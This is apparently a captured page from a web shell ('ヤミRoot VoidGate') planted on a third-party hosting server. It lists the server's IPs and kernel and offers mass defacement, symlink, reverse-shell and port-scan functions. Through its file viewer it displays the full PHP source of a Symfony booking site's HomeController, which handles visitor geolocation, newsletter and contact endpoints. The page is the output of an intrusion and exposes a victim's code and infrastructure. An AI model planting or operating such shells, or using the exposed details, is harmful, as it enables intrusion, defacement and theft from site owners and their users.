ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Controller
/
Viewing: HomeController.php
<?php namespace App\Controller; use App\Entity\Actualite; use App\Entity\Announce; use App\Entity\Background; use App\Entity\BookingRoom; use App\Entity\Building; use App\Entity\BuildingType; use App\Entity\Contact; use App\Entity\MediaObject; use App\Entity\Testimony; use App\Entity\Town; use App\Entity\Visitor; use App\Security\EmailVerifier; use Doctrine\ORM\EntityManagerInterface; use GuzzleHttp\Client; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\Session\SessionInterface; use Symfony\Component\Routing\Annotation\Route; use FOS\RestBundle\Controller\Annotations as Rest; use FOS\RestBundle\Controller\Annotations\View; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\Serializer\Normalizer\ObjectNormalizer; use Symfony\Component\Serializer\Serializer; use Symfony\Component\Serializer\SerializerInterface; class HomeController extends AbstractController { private $emailVerifier; private $entityManager; public function __construct(EmailVerifier $emailVerifier, EntityManagerInterface $entityManager) { $this->emailVerifier = $emailVerifier; $this->entityManager = $entityManager; } /** * @Route({"es": "/","en": "/"}, name="app_home") */ public function index(Request $request): Response { $data=array(); $testimonies= $this->entityManager->getRepository(Testimony::class)->findAll(); foreach ($testimonies as $testimony){ if($testimony-> getApproved() ){ $url=$this->siteURL(); if(!is_null($testimony->getPicture())){ if($_SERVER['HTTP_HOST']=="localhost" ){ $client = new Client(['base_uri' => $this->siteURL()]); $response = $client->request('GET', 'media_objects/'.$testimony->getPicture()->getId()); }else{ $client = new Client(['base_uri' => $this->siteURL()]); $response = $client->request('GET', 'media_objects/'.$testimony->getPicture()->getId()); } $responseBody=json_decode($response->getBody()->getContents()); $responseBody->contentUrl=$url."".$responseBody->contentUrl; }else{ $responseBody=new MediaObject(); $responseBody->contentUrl=$url."/img/login.png"; } $responseMessage=array( "picture"=>$responseBody, "data"=>$testimony ); array_push($data,$responseMessage); } } $testimonies=$data; $news= $this->entityManager->getRepository(Actualite::class)->findAll(); $anounces= $this->entityManager->getRepository(Announce::class)->findAll(); $buildingTypes = $this->entityManager->getRepository(BuildingType::class)->findAll(); $visitors= $this->entityManager->getRepository(Visitor::class)->findAll(); $backgrounds= $this->entityManager->getRepository(Background::class)->findAll(); $dataBackground=array(); $trendingDestinations=array(); $towns= $this->entityManager->getRepository(Town::class)->findBy(array(),array("vues"=>"DESC")); $bookings= $this->entityManager->getRepository(BookingRoom::class)->findAll(); foreach ($towns as $town) { $count=0; foreach ($bookings as $booking) { if ($booking->getRoom()->getBuilding()->getAddress()->getTown()->getId()==$town->getId()) { $count++; } } if($town->getPicture()){ array_push($trendingDestinations, array( "totalBookings"=>$count, "town"=>$town->getTownName(), "townId"=>"".$town->getId(), "country"=>$town->getCountry(), "picture"=>$town->getPicture()->getFilePath(), )); }else{ array_push($trendingDestinations, array( "totalBookings"=>$count, "town"=>$town->getTownName(), "townId"=>"".$town->getId(), "country"=>$town->getCountry(), "picture"=>null, )); } } foreach ($backgrounds as $background) { if ($background->getActive()) { $url=$this->siteURL(); if(!is_null($background->getPicture())) { $client = new Client(['base_uri' => $this->siteURL()]); $response = $client->request('GET', 'media_objects/' . $background->getPicture()->getId()); $responseBody=json_decode($response->getBody()->getContents()); $responseBody->contentUrl=$url."".$responseBody->contentUrl; $responseMessage=array( "picture"=>$responseBody, "data"=>$background ); array_push($dataBackground,$responseMessage); } } } $updateVisitor=new Visitor(); foreach ($visitors as $currentVisitor){ if($currentVisitor->getWebAgent()==$_SERVER['HTTP_USER_AGENT']){ $updateVisitor=$currentVisitor; } } $local=$request->getLocale(); $language=""; $onlinePath=$request->getBasePath(); if(strcmp($local,"fr")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/french_flag.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Français</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Anglais</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Espagnol</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italien</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinois</a></li> '; }else if(strcmp($local,"es")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language' style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_spanish.png\" style=\"height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Español</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francés</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Inglés</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> '; }else if (strcmp($local,"en")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/flag_england.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> English</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> French</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Italiano</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Chinise</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spanish</a></li>'; }else if (strcmp($local,"it")==0) { $language=" <a href=\"#\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/italiano_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> Italiano</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Francese</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> inglese</a></li> <li> <a href="'.$onlinePath.'/change_locale/zh_CN" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/china_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Cinese</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> Spagnolo</a></li>'; }else if (strcmp($local,"zh_CN")==0) { $language=" <a href=\"#!\" class=\"dropdown-button grey-text text-darken-1\" data-activates='choose_language'style=\"font-size: 18px\"><img src=\"".$onlinePath."/img/china_flag.png\" style=\"height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px\" alt=\"\"> 中國人</a>"; $body=' <li> <a href="'.$onlinePath.'/change_locale/fr" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/french_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 法語</a></li> <li> <a href="'.$onlinePath.'/change_locale/it" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/italiano_flag.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 意大利語</a></li> <li> <a href="'.$onlinePath.'/change_locale/en" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_england.png" style="height: 24px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 中國人</a></li> <li> <a href="'.$onlinePath.'/change_locale/es" class="grey-text text-darken-1" style="font-size: 18px"><img src="'.$onlinePath.'/img/flag_spanish.png" style="height: 27px; width: 24px;margin-right: 10px; margin-bottom: -6px" alt=""> 西班牙語</a></li>'; } arsort($trendingDestinations); $onlinePath=$request->getBasePath(); return $this->render('home/home_index.html.twig', [ 'controller_name' => 'HomeController', 'companyName' => $this->getParameter("app_client"), 'languageChoose' => $body, 'onlinePath' => $onlinePath, 'language' => $language, 'host'=>$this->siteURL(), 'local' => $local, 'testimonies' => $testimonies, 'backgrounds' => $dataBackground, 'announces' => $anounces, 'towns' => $towns, 'buildingTypes' => $buildingTypes, 'news' =>$news, 'visitor' =>$updateVisitor, 'trendingDestinations' =>($trendingDestinations), 'appUser' =>$this->getParameter('appUser'), ]); } /** * @Route("/change_locale/{locale}", name="change_locale") */ public function changeLocale($locale, Request $request) { // On stocke la langue dans la session $request->getSession()->set('_locale', $locale); // On revient sur la page précédente $this->addFlash('success', 'Local website language updated.'); return $this->redirect($this->siteURL().$request->getBasePath()); } function getLocationInfoByIp(){ $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = @$_SERVER['REMOTE_ADDR']; $result = array('country'=>'', 'city'=>''); if(filter_var($client, FILTER_VALIDATE_IP)){ $ip = $client; }elseif(filter_var($forward, FILTER_VALIDATE_IP)){ $ip = $forward; }else{ $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_countryName != null){ $result['country'] = $ip_data->geoplugin_countryCode; $result['city'] = $ip_data->geoplugin_city; $result['client'] = $client; } return $result; } function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) { $output = NULL; if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) { $ip = $_SERVER["REMOTE_ADDR"]; if ($deep_detect) { if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP)) $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP)) $ip = $_SERVER['HTTP_CLIENT_IP']; } } $purpose = str_replace(array("name", "\n", "\t", " ", "-", "_"), NULL, strtolower(trim($purpose))); $support = array("country", "countrycode", "state", "region", "city", "location", "address"); $continents = array( "AF" => "Africa", "AN" => "Antarctica", "AS" => "Asia", "EU" => "Europe", "OC" => "Australia (Oceania)", "NA" => "North America", "SA" => "South America" ); if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) { $ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip)); if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) { switch ($purpose) { case "location": $output = array( "city" => @$ipdat->geoplugin_city, "state" => @$ipdat->geoplugin_regionName, "country" => @$ipdat->geoplugin_countryName, "country_code" => @$ipdat->geoplugin_countryCode, "continent" => @$continents[strtoupper($ipdat->geoplugin_continentCode)], "continent_code" => @$ipdat->geoplugin_continentCode ); break; case "address": $address = array($ipdat->geoplugin_countryName); if (@strlen($ipdat->geoplugin_regionName) >= 1) $address[] = $ipdat->geoplugin_regionName; if (@strlen($ipdat->geoplugin_city) >= 1) $address[] = $ipdat->geoplugin_city; $output = implode(", ", array_reverse($address)); break; case "city": $output = @$ipdat->geoplugin_city; break; case "state": $output = @$ipdat->geoplugin_regionName; break; case "region": $output = @$ipdat->geoplugin_regionName; break; case "country": $output = @$ipdat->geoplugin_countryName; break; case "countrycode": $output = @$ipdat->geoplugin_countryCode; break; } } } return $output; } function siteURL() { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://"; $domainName = $_SERVER['HTTP_HOST'].'/'; if ($_SERVER['HTTP_HOST'] == "localhost") { return $protocol.$domainName.$this->getParameter('localRepository')."/".$this->getParameter('apiLink'); }else{ return $protocol.$domainName.$this->getParameter('apiLink'); } } /** * Locates user . * @Rest\Post("/client_location") * @View */ public function locatedClientAction(Request $request) { $data = json_decode($request->getContent(), true); if (empty($data['api_address']) ) { return new JsonResponse($data, Response::HTTP_NOT_ACCEPTABLE); } $visitors= $this->entityManager->getRepository(Visitor::class)->findAll(); $trendingDestinations=array(); $towns= $this->entityManager->getRepository(Town::class)->findAll(); $bookings= $this->entityManager->getRepository(BookingRoom::class)->findAll(); $webVisitor=0; $updateVisitor=new Visitor(); foreach ($visitors as $currentVisitor){ if($currentVisitor->getWebAgent()==$_SERVER['HTTP_USER_AGENT']){ $webVisitor=$currentVisitor->getId(); $updateVisitor=$currentVisitor; } } if($webVisitor==0){ $visitor= new Visitor(); try{ $externalIp =$data['api_address']; $location= $this->ip_info($externalIp, "Location"); $visitor->setIpLocation("".$externalIp); $visitor->setCountryLocation("".$location["country"]); $visitor->setContinent("".$location["continent"]); $visitor->setVille("".$location["city"] ); $visitor->setRegion("".$location["state"] ); $visitor->setCountryCode("".$location["country_code"] ); $em=$this->getDoctrine()->getManager(); $em->persist($visitor); $em->flush(); $this->addFlash('success', 'Welcome in '.$location["country"].' we are using cookies on this website for better user experience'); $webVisitor=$visitor->getId(); }catch (\Exception $e){ } $location["id"]=$visitor->getId(); foreach ($towns as $town) { if(strtolower($town->getCountry()->getCode())==strtolower($location["country_code"])){ $count=0; foreach ($bookings as $booking) { if ($booking->getRoom()->getBuilding()->getAddress()->getTown()->getId()==$town->getId()) { $count++; } } if($town->getPicture()){ array_push($trendingDestinations, array( "totalBookings"=>$count, "town"=>$town->getTownName(), "townId"=>"".$town->getId(), "country"=>$town->getCountry()->getCountryName(), "countryFlag"=>$town->getCountry()->getCountryFlag()->getFilePath(), "picture"=>$town->getPicture()->getFilePath(), )); }else{ array_push($trendingDestinations, array( "totalBookings"=>$count, "town"=>$town->getTownName(), "townId"=>"".$town->getId(), "country"=>$town->getCountry()->getCountryName(), "countryFlag"=>$town->getCountry()->getCountryFlag()->getFilePath(), "picture"=>null, )); } } } arsort($trendingDestinations,SORT_NUMERIC); $location["trendingTown"]=$trendingDestinations; $location["total"]=sizeof($trendingDestinations); return new JsonResponse($location, Response::HTTP_ACCEPTED); }else{ $externalIp =$data['api_address']; $location= $this->ip_info($externalIp, "location"); $updateVisitor->setIpLocation("".$externalIp); $updateVisitor->setCountryLocation("".$location["country"]); $updateVisitor->setContinent("".$location["continent"]); $updateVisitor->setVille("".$location["city"] ); $updateVisitor->setRegion("".$location["state"] ); $updateVisitor->setCountryCode("".$location["country_code"] ); $em=$this->getDoctrine()->getManager(); $em->persist($updateVisitor); $em->flush(); $location["id"]=$updateVisitor->getId(); $capital=new Town(); foreach ($towns as $town) { if(strtolower($town->getCountry()->getCode())==strtolower($location["country_code"])){ if($town->getIsCapital()){ $capital=$town; } $count=0; foreach ($bookings as $booking) { if ($booking->getRoom()->getBuilding()->getAddress()->getTown()->getId()==$town->getId()) { $count++; } } if($town->getPicture()){ array_push($trendingDestinations, array( "totalBookings"=>$count, "town"=>$town->getTownName(), "isCapital"=>$town->getIsCapital(), "townId"=>"".$town->getId(), "country"=>$town->getCountry()->getCountryName(), "countryFlag"=>$town->getCountry()->getCountryFlag()->getFilePath(), "picture"=>$town->getPicture()->getFilePath(), )); }else{ array_push($trendingDestinations, array( "totalBookings"=>$count, "town"=>$town->getTownName(), "townId"=>"".$town->getId(), "isCapital"=>$town->getIsCapital(), "country"=>$town->getCountry()->getCountryName(), "countryFlag"=>$town->getCountry()->getCountryFlag()->getFilePath(), "picture"=>null, )); } } } arsort($trendingDestinations,SORT_NUMERIC); $location["trendingTown"]=$trendingDestinations; $location["capital"]=$capital->getId(); $location["total"]=sizeof($trendingDestinations); return new JsonResponse($location, Response::HTTP_ACCEPTED); } } /** * Add Client to new letter. * * @Rest\Post("/client_newletter") * @View */ public function addToNewLetterAction(Request $request) { $data = json_decode($request->getContent(), true); if (empty($data['email']) ) { return new JsonResponse($data, Response::HTTP_NOT_ACCEPTABLE); } $visitors= $this->getDoctrine() ->getRepository(Visitor::class)->findAll(); $response="SUBMIT"; $webVisitor=0; foreach ($visitors as $currentVisitor){ if($currentVisitor->getWebAgent()==$_SERVER['HTTP_USER_AGENT']){ $webVisitor=$currentVisitor; } } if($webVisitor->getId()!=null){ try{ if(!is_null($webVisitor->getVisitorEmail()|| !empty($webVisitor->getVisitorEmail()))){ $email =$data['email']; $this->addFlash('success', 'Congratulation!! You have been had in our newLetters.'); $webVisitor->setVisitorEmail("".$email ); $em=$this->getDoctrine()->getManager(); $em->persist($webVisitor); $em->flush(); }else{ $response="FOUND"; } }catch (\Exception $e){ } } return new JsonResponse($response, Response::HTTP_ACCEPTED); } /** * conctact us. * @Rest\Post("/client_contact_us") * @View */ public function sendMessageToAdminAction(Request $request) { $data = json_decode($request->getContent(), true); $email =$data['email']; $contactName =$data['contactName']; $message =$data['message']; $phone =$data['phone']; if (empty($data['email']) || empty($data['message']) || empty($data['contactName']) ) { return new JsonResponse($data, Response::HTTP_NOT_ACCEPTABLE); } $visitors= $this->getDoctrine() ->getRepository(Visitor::class)->findAll(); $response="success"; $webVisitor=0; foreach ($visitors as $currentVisitor){ if($currentVisitor->getWebAgent()==$_SERVER['HTTP_USER_AGENT']){ $webVisitor=$currentVisitor; } } if($webVisitor->getId()!=null){ try{ if(is_null($webVisitor->getVisitorEmail()|| empty($webVisitor->getVisitorEmail()))) { $webVisitor->setVisitorEmail("" . $email); } if(empty($webVisitor->getVisitorName()) || is_null($webVisitor->getVisitorName())){ $webVisitor->setVisitorName("".$contactName ); } if(empty($webVisitor->getVisitorPhone()) || is_null($webVisitor->getVisitorPhone())){ $webVisitor->setVisitorPhone("".$phone ); } $em=$this->getDoctrine()->getManager(); $em->persist($webVisitor); $em->flush(); $contactUs=new Contact(); $contactUs->setMessage($message); $contactUs->setVisitor($webVisitor); $em->persist($contactUs); $em->flush(); }catch (\Exception $e){ } } return new JsonResponse($response, Response::HTTP_ACCEPTED); } /** * Locates user . * @Rest\Post("/api/v1/find_buildings") * @View */ public function findBuildAction(Request $request,SerializerInterface $serializer):Response { $data = json_decode($request->getContent(), true); if (empty($data['town'])) { return new JsonResponse($data, Response::HTTP_NOT_ACCEPTABLE); } $updateTown=$this->entityManager->getRepository(Town::class)->find($data['town']); if(!is_null($updateTown)){ $updateTown->setVues($updateTown->getVues()+1); $this->entityManager->persist($updateTown); $this->entityManager->flush(); } $town = $data['town']; $buildType=$data['buildType']; $startedDate=$data['startedDate']; $endDate=$data['endDate']; $buildRooms=$this->entityManager->getRepository(Building::class)->findAllDetailByTown($town,$buildType); $arraysOfData=array(); // $loader is any of the valid loaders explained later in this article foreach ($buildRooms as $buildRoom ){ if($buildRoom->isActive()){ array_push($arraysOfData, json_decode($serializer->serialize($buildRoom, 'json')) ); } } return new JsonResponse( array( "requestKeys"=> $data, "data"=> $arraysOfData, "length"=> sizeof($arraysOfData), ), Response::HTTP_OK); } }
Coded With 💗 by
0x6ick